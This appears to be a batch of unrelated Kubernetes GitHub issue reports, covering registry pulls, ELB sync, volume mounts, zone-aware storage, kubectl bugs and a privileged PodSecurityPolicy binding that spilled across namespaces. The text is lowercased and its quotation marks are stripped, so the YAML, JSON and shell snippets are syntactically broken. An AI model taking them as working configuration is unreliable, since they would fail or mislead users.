7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r - kernel  e.g.  uname -a  :\r    uname -a\r linux ip-10-13-0-207.us-west-2.compute.internal 3.10.0-957.10.1.el7.x86_64  1 smp mon mar 18 15:06:45 utc 2019 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r kubeadm\r - others:\r

as pod been ga in 1.14, and we've removed fifo implementation in scheduler.\r \r i think it'd good to remove code related with \ checking if features.pod gate is enabled or not\  - as that's always true now.\r \r  

i have a private docker hub created by below command. it's at  10.128.112.16 .      $ docker run -d -p 5000:5000 --restart=always --name registry registry:2      with  kubernetes/heapster_grafana:v2.1.0 , i can pull and push it to my private docker hub.      $ docker pull kubernetes/heapster_grafana:v2.1.0 $ docker tag kubernetes/heapster_grafana:v2.1.0 10.128.112.16:5000/kubernetes/heapster_grafana:v2.1.0 $ docker push 10.128.112.16:5000/kubernetes/heapster_grafana:v2.1.0      i can pull it as expected.      $ docker pull 10.128.112.16:5000/kubernetes/heapster_grafana:v2.1.0 v2.1.0: pulling from kubernetes/heapster_grafana digest: sha256:547497b2384e6df8c70018bbec8faaa3d5577ed01e781082199a0f6678215e7f status: image is up to date for 10.128.112.16:5000/kubernetes/heapster_grafana:v2.1.0      with  gcr.io/google_containers/heapster_grafana:v2.1.1 ,   i can also   pull and push it to my private docker hub.      $ docker pull gcr.io/google_containers/heapster_grafana:v2.1.1 $ docker tag gcr.io/google_containers/heapster_grafana:v2.1.1 10.128.112.16:5000/google_containers/heapster_grafana:v2.1.1 $ docker push 10.128.112.16:5000/google_containers/heapster_grafana:v2.1.1        but i can't   pull is from my private docker hub.      $ docker pull 10.128.112.16:5000/google_containers/heapster_grafana:v2.1.1 pulling repository 10.128.112.16:5000/google_containers/heapster_grafana error: image google_containers/heapster_grafana:v2.1.1 not found      logs from my private docker hub are shown below. somehow this image triggers  docker registry http api v1  and causes  image not found .      nov 19 06:22:54 eta-master docker 2107 : 10.128.112.12 - -  19/nov/2015:06:22:54 +0000  \ get /v2/google_containers/heapster_grafana/manifests/v2.1.1 http/1.1\  200 32738 \ \  \ docker/1.9.0 go/go1.4.2 git-commit/76d6bc9 kernel/3.19.0-33-generic os/linux arch/amd64\  nov 19 06:22:54 eta-master docker 2107 : 10.128.112.12 - -  19/nov/2015:06:22:54 +0000  \ get /v1/repositories/google_containers/heapster_grafana/images http/1.1\  404 19 \ \  \ docker/1.9.0 go/go1.4.2 git-commit/76d6bc9 kernel/3.19.0-33-generic os/linux arch/amd64\       compare to logs of the previous working image. only  docker registry http api v2  is triggered.      nov 19 06:52:54 eta-master docker 2107 : 10.128.112.12 - -  19/nov/2015:06:52:54 +0000  \ get /v2/kubernetes/heapster_grafana/manifests/v2.1.0 http/1.1\  200 32101 \ \  \ docker/1.9.0 go/go1.4.2 git-commit/76d6bc9 kernel/3.19.0-33-generic os/linux arch/amd64\       is there a workaround to solve this issue? i would like to use the newer image  gcr.io/google_containers/heapster_grafana:v2.1.1  from my private docker hub.

kubernetes version    use  kubectl version  :      client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.4+dd6b458\ , gitcommit:\ dd6b458ef8dbf24aff55795baa68f83383c9b3a9\ , gittreestate:\ not a git tree\ , builddate:\ 2016-08-04t09:44:57z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ } server version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.4+coreos.0\ , gitcommit:\ be9bf3e842a90537e48361aded2872e389e902e7\ , gittreestate:\ clean\ , builddate:\ 2016-08-02t00:54:53z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }        environment  : -   provider  : aws, m4.large across the board. -   os  : coreos stable  1068.9.0  -   kernel    e.g.  uname -a  :  linux <redacted> 4.6.3-coreos  2 smp fri aug 5 04:51:16 utc 2016 x86_64 intel r  xeon r  cpu e5-2676 v3 @ 2.40ghz genuineintel gnu/linux  -   install tools  :  kube-aws  v0.8.1  from coreos  -   others  :    what happened  : i have created about 30 elbs using the  loadbalancer  type of  service . i have an autoscalinggroup on aws that periodically adds and terminates nodes in my cluster. in more than one instance, i've noticed that my elbs are out of sync with the nodes in my cluster  i see 3 instances in some elbs where there should be 4 .  when i saw this error, i tested by manually scaling the asg +1 to see if it would reflect the change. it did, and all elbs now reported 5 instances. in the controllermanager log, i can see where scaling happens and it says  32 load balancers updated successfully  when a change happens; no immediate indication something is being missed. however, i do see this error near the load balancer log message which i was told by @justinsb may indicate dropping of notifications:      w0817 21:41:51.624334       1 reflector.go:334  pkg/controller/service/servicecontroller.go:150: watch of  api.service ended with: couldn't queue object: couldn't create key for object &{laststate:0xc821aa24e0 appliedstate:0xc821aa24e0 mu:{state:0 sema:0} lastretrydelay:0}: object has no meta: struct service.cachedservice lacks embedded typemeta type        what you expected to happen  : i expected the elbs to all be updated with my current nodes the same way it would if the elbs were directly listed in my autoscalinggroup.    how to reproduce it    as minimally and precisely as possible : spin a cluster using the environment above. let it stablize. create >30 elbs using services. autoscale by 2 nodes. wait 10 minutes. terminate 2 instances. wait 5 mins. scale by 1.  during these events, audit the elb state.    anything else do we need to know  :

i'm trying to start a mongodb container which overrides the default data volume /data/db  specified by the image's  dockerfile  volume directive   https://github.com/docker-library/mongo/blob/master/2.6/dockerfile .  kubernetes fails to mount the overridden volume from the path configured for the pod. docker inspect shows that the volume is actually mounted from /var/lib/docker/vfs/dir/xxx, i.e. the default path.  for comparison, mounting another data volume with a different path in the same container works just fine. also, running a similar container manually with docker cli works fine and mounts /data/db properly. selinux doesn't seem to affect this but i've tried with \ setenforce 0\  just in case. my environment is fedora 21 atomic which uses docker 1.4.0.  these are the relevant portions from \ docker inspect\  when the container is running:      \ hostconfig\ : {     \ binds\ :           \ /var/lib/data/mongodb/data/db:/data/db\ ,         \ /var/lib/data/mongodb/data/db2:/data/db2\       ,     \ volumesfrom\ : null }, \ volumes\ : {     \ /data/db\ : \ /var/lib/docker/vfs/dir/d0064b45422af35e836b39256233e616fb7909803e621e6a4006914c5b769ead\ ,     \ /data/db2\ : \ /var/lib/data/mongodb/data/db2\  }, \ volumesrw\ : {     \ /data/db\ : true,     \ /data/db2\ : true }      the pod configuration looks like this:      apiversion: v1beta1 kind: pod id: mongodb labels:   name: mongodb desiredstate:   manifest:     version: v1beta1     id: mongodb     volumes:       - name: mongodb-data         source:           hostdir:             path: /var/lib/data/mongodb/data/db       - name: mongodb-data2         source:           hostdir:             path: /var/lib/data/mongodb/data/db2     containers:       - name: mongodb         image: mongo:2.6.6         command:  'mongod', '--smallfiles'          volumemounts:           - name: mongodb-data             mountpath: /data/db           - name: mongodb-data2             mountpath: /data/db2

is this a bug report or feature request?    choose one : feature request\r \r   kubernetes version    use  kubectl version  : 1.6.1\r \r   environment  :\r -   cloud provider or hardware configuration  : openstack\r -   os    e.g. from /etc/os-release : centos7\r \r   what happened  :\r \r we have openstack environment with three different zones, called as  zone-1 ,  zone-2  and  zone-3 . the problem with current storageclass is that it does not support any random method to provision storages to different zones. like mentioned here https://github.com/kubernetes/kubernetes/issues/35695 issuecomment-277165783 other classes have some support to that. in openstack if we do not define availability zone, it will always use zone called  nova .\r \r example: we want provision mysql galera 3 node cluster, that we have one node in each zone. that is impossible with kubernetes currently because we need to always defined in which zone our storageclass is pointing.\r \r    \r kind: storageclass\r apiversion: storage.k8s.io/v1beta1\r metadata:\r   name: zone1\r provisioner: kubernetes.io/cinder\r parameters:\r   availability: zone-1\r ---\r apiversion: v1\r kind: service\r metadata:\r   annotations:\r     service.alpha.kubernetes.io/tolerate-unready-endpoints: \ true\ \r   name: galera\r   labels:\r     app: mysql\r spec:\r   ports:\r   - port: 3306\r     name: mysql\r   clusterip: none\r   selector:\r     app: mysql\r ---\r apiversion: apps/v1beta1\r kind: statefulset\r metadata:\r   name: mysql\r spec:\r   servicename: \ galera\ \r   replicas: 3\r   template:\r     metadata:\r       labels:\r         app: mysql\r       annotations:\r         pod.alpha.kubernetes.io/initialized: \ true\ \r     spec:\r       containers:\r       - name: mysql\r         image: adfinissygroup/k8s-mariadb-galera-centos:v002\r         imagepullpolicy: always\r         ports:\r         - containerport: 3306\r           name: mysql\r         - containerport: 4444\r           name: sst\r         - containerport: 4567\r           name: replication\r         - containerport: 4568\r           name: ist\r         readinessprobe:\r           exec:\r             command:\r             - /usr/share/container-scripts/mysql/readiness-probe.sh\r           initialdelayseconds: 15\r           timeoutseconds: 5\r         volumemounts:\r         - name: datadir\r           mountpath: /var/lib/mysql\r         env:\r           - name: pod_namespace\r             valuefrom:\r               fieldref:\r                 apiversion: v1\r                 fieldpath: metadata.namespace\r   volumeclaimtemplates:\r   - metadata:\r       name: datadir\r       annotations:\r        volume.beta.kubernetes.io/storage-class: zone1\r     spec:\r       accessmodes:   \ readwriteonce\   \r       resources:\r         requests:\r           storage: 2gi\r    \r \r there are actually two problems in this yaml: 1  storageclass zone name must be hardcoded, we do not have way to spread statefulset to multiple azs. 2  openstack plugin do not have skill to read in which zone pvc is located. if i will execute this yaml, all pvcs are created to zone-1 but it might be that some stateful pods are going to zone-2 or to zone-3.\r \r   what you expected to happen  : i except that we should have somekind of way to create multi az statefulsets. btw do we have way to say \ please spread statefulset replicas to all zones\  kind of similar feature than daemonset in nodes, but for zones.

failure cluster  a3088522c5a7b765a080  https://go.k8s.io/triage a3088522c5a7b765a080        error text:     error during ./hack/ginkgo-e2e.sh --ginkgo.skip=\\ disruptive\\ |\\ flaky\\ |\\ feature:.+\\ : exit status 1           failure cluster statistics: 1 tests failed,    11 jobs failed,    71 builds failed. failure stats cover 1 day time range '14 may 2017 20:07 utc' to '15 may 2017 20:07 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | test | 11 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-soak-gce-test | 48 |  15 may 2017 19:48 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-soak-gce-test/1783  | | ci-kubernetes-soak-gce-1.5-test | 3 |  15 may 2017 12:00 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-soak-gce-1.5-test/846  | | ci-kubernetes-soak-gce-1.4-test | 3 |  15 may 2017 10:30 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-soak-gce-1.4-test/739  |   current status  https://go.k8s.io/triage a3088522c5a7b765a080

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r \r  \r >  \r \r   what happened  :\r in the kubernetes 1.6 release, dynamic provisioning has been promoted to stable  having entered beta in 1.4 . in 1.6,  storageclassname  attribute has been added to  persistentvolume  and  persistentvolumeclaim  objects and should be used instead of annotation  volume.beta.kubernetes.io/storage-class .\r \r   what you expected to happen  :\r we should now update the  volume.beta.kubernetes.io/storage-class  to use  storageclassname .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r /cc @kubernetes/sig-storage-bugs

is this a bug report or feature request?  : bug report\r \r  /area kubectl\r @kubernetes/sig-cli-bugs\r \r \r   what happened  :\r    \r /   kubectl --namespace=kube-system --request-timeout 30s delete pod scheduler-healthcheck-kube-scheduler-2100019357-83rtb\r error: yaml: mapping values are not allowed in this context\r    \r \r   what you expected to happen  :\r for it to delete the pod\r \r   how to reproduce it  as minimally and precisely as possible   :\r use  kubectl --request-timeout=30s  from inside a pod\r \r \r \r \r   anything else we need to know?  :\r \r without  --request-timeout  the request succeeds:\r    \r /   kubectl -v 10 --namespace=kube-system delete pod scheduler-healthcheck-kube-scheduler-2100019357-83rtb\r i0905 13:24:35.380446     697 merged_client_builder.go:123  using in-cluster configuration\r ...\r    \r \r with  --request-timeout  it instead talks to localhost, instead of using in-cluster config:\r    \r /   kubectl -v 10 --namespace=kube-system --request-timeout=30s delete pod scheduler-healthcheck-kube-scheduler-2100019357-83rtb\r i0905 13:24:55.490797     706 round_trippers.go:386  curl -k -v -xget  -h \ accept: application/json,  / \  -h \ user-agent: kubectl/v1.7.5  linux/amd64  kubernetes/17d7182\  http://localhost:8080/api\r i0905 13:24:55.583140     706 round_trippers.go:405  get http://localhost:8080/api 200 ok in 92 milliseconds\r i0905 13:24:55.583175     706 round_trippers.go:411  response headers:\r i0905 13:24:55.583180     706 round_trippers.go:414      date: tue, 05 sep 2017 13:24:55 gmt\r i0905 13:24:55.583229     706 round_trippers.go:414      content-length: 229\r i0905 13:24:55.583241     706 round_trippers.go:414      content-type: text/html; charset=utf-8\r i0905 13:24:55.583331     706 request.go:991  response body: <b> kubernetes healthz sidecar container </b><br/><br/><a href=\ /healthz\ >/healthz: healthz probe. returns \ ok\  if the command given through -cmd exits with 0.</a><br/><a href=\ /quit\ >/quit: cause this container to exit.</a><br/>\r i0905 13:24:55.583641     706 cached_discovery.go:126  skipped caching discovery info due to yaml: mapping values are not allowed in this context\r f0905 13:24:55.583726     706 helpers.go:120  error: yaml: mapping values are not allowed in this context\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :  client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.5\ , gitcommit:\ 17d7182a7ccbb167074be7a87f0a68bd00d58d97\ , gittreestate:\ clean\ , builddate:\ 2017-08-31t09:14:02z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r

 \r   what happened  :\r ran:\r    \r kubectl explain resourcequota.spec.hard\r    \r \r   what you expected to happen  :\r to see list of available hard resource quota limits.\r instead there is only a link to a page that 404's.\r \r   how to reproduce it  as minimally and precisely as possible   :\r run:\r    \r kubectl explain resourcequota.spec.hard\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r :; kubectl version\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ ,gittreestate:\ clean\ , builddate:\ 2017-12-16t03:15:38z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 0b9efaeb34a2fc51ff8e4d34ad9bc6375459c4a4\ ,gittreestate:\ clean\ , builddate:\ 2017-11-29t22:43:34z\ , goversion:\ go1.9.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: minikube\r - os  e.g. from /etc/os-release :\r    \r $ cat /etc/os-release\r name=buildroot\r version=2017.02\r id=buildroot\r version_id=2017.02\r pretty_name=\ buildroot 2017.02\ \r    \r

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r deploy the basic sample pod from https://kubernetes.io/docs/concepts/cluster-administration/logging/, a busybox container which print echo msg.\r run kubectl logs -f coutner, no msg is shown.\r and if i just run kubectl logs counter several times, i could see there are new msg generated.\r   what you expected to happen  :\r kubectl logs -f should be able to tail the logs change from pod.\r   how to reproduce it  as minimally and precisely as possible   :\r i'm not sure if this is able to reproduce in other k8s env, i just follow the guide on k8s official doc and deploy that basic sample pod.\r \r   anything else we need to know?  :\r all the other kubectl commands works well, and the cluster is in health status.\r and docker logs -f work well without this problem.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t05:28:34z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t05:17:43z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r an k8s cluster provision by qingcloud, 1 master node and 4 worker nodes deployed on kvm boxes.\r - os  e.g. from /etc/os-release :\r name=\ ubuntu\ \r version=\ 16.04.3 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.3 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r \r - kernel  e.g.  uname -a  :\r linux i-di6arm5w 4.4.0-112-generic  135-ubuntu smp fri jan 19 11:48:36 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r \r - others:\r docker version\r client:\r  version:\t17.12.0-ce\r  api version:\t1.35\r  go version:\tgo1.9.2\r  git commit:\tc97c6d6\r  built:\twed dec 27 20:11:19 2017\r  os/arch:\tlinux/amd64\r \r server:\r  engine:\r   version:\t17.12.0-ce\r   api version:\t1.35  minimum version 1.12 \r   go version:\tgo1.9.2\r   git commit:\tc97c6d6\r   built:\twed dec 27 20:09:53 2017\r   os/arch:\tlinux/amd64\r   experimental:\tfalse

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r bug report\r \r  \r \r   what happened  :\r \r  kubectl apply -f svc,yml  when it is of type  clusterip  but clusterip isn't set can lead to an error of \r \r    \r spec.clusterip: invalid value: \ \ : field is immutable\r    \r \r i cannot fully reproduce, but it appears that when setting a  default   clusterip  type service, sometimes the  last-applied-configuration  annotation, rather than having no  clusterip  setting, has  clusterip: \ \  .\r \r this, in turn, causes  kubectl apply  to try and set it to  null , which causes the above error.\r \r   what you expected to happen  :\r  kubectl apply  for a service should recognize that if the service has  type: clusterip   default , and the  clusterip  value is set to  \ \  , then it should accept that is functionally equivalent to  null  and not try to patch it.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. set the annotation  kubectl.kubernetes.io/last-applied-configuration  to include  clusterip: \ \  \r 2.  kubectl apply -f svc.yml  where  clusterip  is not set\r 3. fail\r \r   anything else we need to know?  :\r i do not know why and when it set  clusterip: \ \   in the annotation, but it did.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client: 1.9.5, server: 1.9.2\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r i am creating a clusterrolebinding which binds to all the namespaces across cluster.\r \r \r   what you expected to happen  :\r \r it should only bind to serviceaccount in  kube-system  namespace.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - start cluster with admission plugin  podsecuritypolicy \r \r - create user\r \r i have created an user certs following the blog: https://brancz.com/2017/10/16/kubernetes-auth-x509-client-certificates/\r \r the user has following permissions:\r \r    yaml\r apiversion: rbac.authorization.k8s.io/v1beta1\r kind: clusterrole\r metadata:\r   name: normal-user\r rules:\r - apigroups:\r   - \ \ \r   - \ apps\ \r   - \ extensions\ \r   resources:\r   - pods\r   - namespaces\r   - deployments\r   verbs:\r   - \  \ \r ---\r apiversion: rbac.authorization.k8s.io/v1beta1\r kind: clusterrolebinding\r metadata:\r   name: normal-users\r roleref:\r   apigroup: rbac.authorization.k8s.io\r   kind: clusterrole\r   name: normal-user\r subjects:\r - apigroup: rbac.authorization.k8s.io\r   kind: user\r     this is my user name\r   name: suraj\r    \r \r - create a podsecuritypolicy and corresponding clusterrole and clusterrolebinding\r \r    yaml\r apiversion: policy/v1beta1\r kind: podsecuritypolicy\r metadata:\r   name: privileged\r   annotations:\r     seccomp.security.alpha.kubernetes.io/allowedprofilenames: ' '\r spec:\r   privileged: true\r   allowprivilegeescalation: true\r   allowedcapabilities:\r   - ' '\r   volumes:\r   - ' '\r   hostnetwork: true\r   hostports:\r   - min: 0\r     max: 65535\r   hostipc: true\r   hostpid: true\r   runasuser:\r     rule: 'runasany'\r   selinux:\r     rule: 'runasany'\r   supplementalgroups:\r     rule: 'runasany'\r   fsgroup:\r     rule: 'runasany'\r ---\r kind: clusterrole\r apiversion: rbac.authorization.k8s.io/v1\r metadata:\r   name: privileged-psp\r rules:\r - apigroups:  'policy' \r   resources:  'podsecuritypolicies' \r   verbs:      'use' \r   resourcenames:\r   - privileged\r ---\r kind: clusterrolebinding\r apiversion: rbac.authorization.k8s.io/v1\r metadata:\r   name: privileged-psp-cluster-admins\r roleref:\r   kind: clusterrole\r   name: privileged-psp\r   apigroup: rbac.authorization.k8s.io\r subjects:\r - kind: group\r   name: system:serviceaccount:kube-system\r   apigroup: rbac.authorization.k8s.io\r    \r \r in above example see that the psp is bound to group  system:serviceaccount:kube-system  which means that the serviceaccounts in  kube-system  namespace will get bound to the psp defined above.\r \r - test this by running pods\r \r    bash\r $ kubectl --kubeconfig kubeconfig create ns psp-testing\r namespace/psp-testing created\r \r $ kubectl --kubeconfig kubeconfig -n psp-testing run web --image httpd\r kubectl run --generator=deployment/apps.v1beta1 is deprecated and will be removed in a future version. use kubectl create instead.\r deployment.apps/web created\r \r $ kubectl --kubeconfig kubeconfig -n psp-testing get deployment web -o jsonpath='{.status.conditions -1: .message}'\r pods \ web-7998c657dd-\  is forbidden: no providers available to validate pod request\r    \r \r this failed as expected.\r \r - update the clusterrolebinding by changing the group name to  system:serviceaccounts:kube-system , added a  s  to  serviceaccount .\r \r    yaml\r echo \ \r kind: clusterrolebinding\r apiversion: rbac.authorization.k8s.io/v1\r metadata:\r   name: privileged-psp-cluster-admins\r roleref:\r   kind: clusterrole\r   name: privileged-psp\r   apigroup: rbac.authorization.k8s.io\r subjects:\r - kind: group\r   name: system:serviceaccounts:kube-system\r   apigroup: rbac.authorization.k8s.io\r \  | kubectl apply -f -\r    \r \r this permission spills over to other namespaces.\r \r - try to run the pods\r \r    bash\r $ kubectl --kubeconfig kubeconfig create ns psp-testing2\r namespace/psp-testing2 created\r \r $ kubectl --kubeconfig kubeconfig -n psp-testing2 run web --image httpd\r kubectl run --generator=deployment/apps.v1beta1 is deprecated and will be removed in a future version. use kubectl create instead.                                                                                                    \r deployment.apps/web created\r \r $ kubectl --kubeconfig kubeconfig -n psp-testing2 get pods\r name                   ready   status              restarts   age\r web-7998c657dd-rd9gk   0/1     containercreating   0          2s\r    \r \r   the above pod should not have started but it did. which means that the permission got spilled.  \r \r - if you want to re-create this setup in a single script then run this https://gist.github.com/surajssd/49366480c7c82eafef810ed598542a7f, make sure you have user created and permissions given to user as above and the cluster has admission controller  podsecuritypolicy  enabled.\r \r   environment  :\r - kubernetes version:\r \r    yaml\r $ kubectl version -o yaml\r clientversion:\r   builddate: 2018-10-05t16:46:06z\r   compiler: gc\r   gitcommit: 4ed3216f3ec431b140b1d899130a69fc671678f4\r   gittreestate: clean\r   gitversion: v1.12.1\r   goversion: go1.10.4\r   major: \ 1\ \r   minor: \ 12\ \r   platform: linux/amd64\r serverversion:\r   builddate: 2018-10-05t16:36:14z\r   compiler: gc\r   gitcommit: 4ed3216f3ec431b140b1d899130a69fc671678f4\r   gittreestate: clean\r   gitversion: v1.12.1\r   goversion: go1.10.4\r   major: \ 1\ \r   minor: \ 12\ \r   platform: linux/amd64\r    \r \r - install tools:\r \r    bash\r $ minikube version\r minikube version: v0.30.0\r    \r

unclear how to specify or create a public ip for expose cmd  from these instructions: https://github.com/googlecloudplatform/kubernetes/blob/2ffb875129602924257d2a8ea30a24d0e00c6cd1/examples/simple-nginx.md   ! image  https://cloud.githubusercontent.com/assets/11644912/8040474/adf400ee-0dc5-11e5-9287-27cf909303fa.png   we should consider how we could improve the usability of kubectl to make this action easier to figure out without detailed help documentation.

looks like @mattf found that you could get unpredictable \ resource not found\  errors when mismatching client/server setup.    maybe make the api client fail quickly when server metadata when doing its first request ?

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?  : yes\r \r \r   what keywords did you search in kubernetes issues before filing this one?   : kubernetes ci setup \r \r ---\r \r   kubernetes version    use  kubectl version  : na\r \r \r   environment  : \r -   cloud provider or hardware configuration  : na\r -   os    e.g. from /etc/os-release :  \ ubuntu\  \ 16.04.1 lts  xenial xerus \ \r -   kernel    e.g.  uname -a  :  s390x gnu/linux\r -   install tools  : na\r -   others  : na\r \r \r   what happened  :   i have closed two prs  36050  and   37092  for adding s390x support. \r \r \r   what you expected to happen  : i need to setup kubernetes ci setup for s390x. i am looking for some guidelines so that i can setup kubernetes ci setup for s390x. what are the prerequisites and hardware configuration need to do this job.\r \r \r \r

is this a bug report or feature request?    choose one : feature request\r \r kubernetes currently supports \ multiple schedulers\   users can run their own custom scheduler s  \r  https://kubernetes.io/docs/admin/multiple-schedulers/ , but running an entire separate scheduler is heavyweight, especially for common desires like using best-fit instead of the default spreading policy. there is a scheduler configuration file which allows users to selectively enable/disable predicate and  and to choose the weights of the enabled  but this file is read from local disk, so it is not flexible enough for run-time changes and may not be easily accessible in hosted solutions.\r it would be great if scheduler configuration could be changed dynamically  probably by setting/changing a configmap in an api call .\r \r one possible use case for this feature is to allow automatic change of scheduling policies when certain characteristics of the cluster change. for example, we could automatically switch the scheduling policy from spreading to best-fit when the user enables cluster autoscaler  https://kubernetes.io/docs/admin/cluster-management/ cluster-autoscaling  on an existing cluster.\r

https://k8s-gubernator.appspot.com/builds/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-serial is very flaky since 2017-05-12 00:47 pdt took 5h5m due to the test:\r \r  k8s.io  schedulerpredicates  serial  validates resource limits of pods that are allowed to run  conformance  6m11s\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:109\r expected error:\r     < errors.errorstring | 0xc42001c270>: {\r         s: \ 1 / 30 pods in namespace \\\ kube-system\\\  are not in running and ready state in 5m0s\ pod                       node                            phase   grace conditions\ kube-dns-2473071502-q95wd bootstrap-e2e-minion-group-hphc running        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-05-12 01:56:14 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-05-12 01:56:19 -0700 pdt containersnotready containers with unready status:  kubedns } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-05-12 01:56:14 -0700 pdt  } \ \ ,\r     }\r     1 / 30 pods in namespace \ kube-system\  are not in running and ready state in 5m0s\r     pod                       node                            phase   grace conditions\r     kube-dns-2473071502-q95wd bootstrap-e2e-minion-group-hphc running        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-05-12 01:56:14 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-05-12 01:56:19 -0700 pdt containersnotready containers with unready status:  kubedns } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-05-12 01:56:14 -0700 pdt  } \r     \r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:99\r    \r one example of failed builds is: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-serial/1059/\r \r the flakiness currently blocks our 1.7 alpha-4 build.\r cc/ @kubernetes/kubernetes-release-managers @kubernetes/sig-network-bugs @bowei

  \r \r i use the script \ build/run.sh make\  to build k8s 1.7 failed . my os is osx 10.12.5 and i user docker for mac to build .\r i find  the function in script  \ https://github.com/kubernetes/kubernetes/blob/v1.7.0/build/common.sh\  has some problem. \r    bash\r function kube::build::destroy_container   {\r   \ ${docker @ }\  kill \ $1\  >/dev/null 2>&1 || true\r   \ ${docker @ }\  wait \ $1\  >/dev/null 2>&1 || true\r   \ ${docker @ }\  rm -f -v \ $1\  >/dev/null 2>&1 || true\r }\r    \r if the container does not exist  ,the command  docker wait $1  will wait forever.\r my docker version is :\r    \r client:\r  version:      17.06.0-ce\r  api version:  1.30\r  go version:   go1.8.3\r  git commit:   02c1d87\r  built:        fri jun 23 21:31:53 2017\r  os/arch:      darwin/amd64\r \r server:\r  version:      17.06.0-ce\r  api version:  1.30  minimum version 1.12 \r  go version:   go1.8.3\r  git commit:   02c1d87\r  built:        fri jun 23 21:51:55 2017\r  os/arch:      linux/amd64\r  experimental: false\r    \r

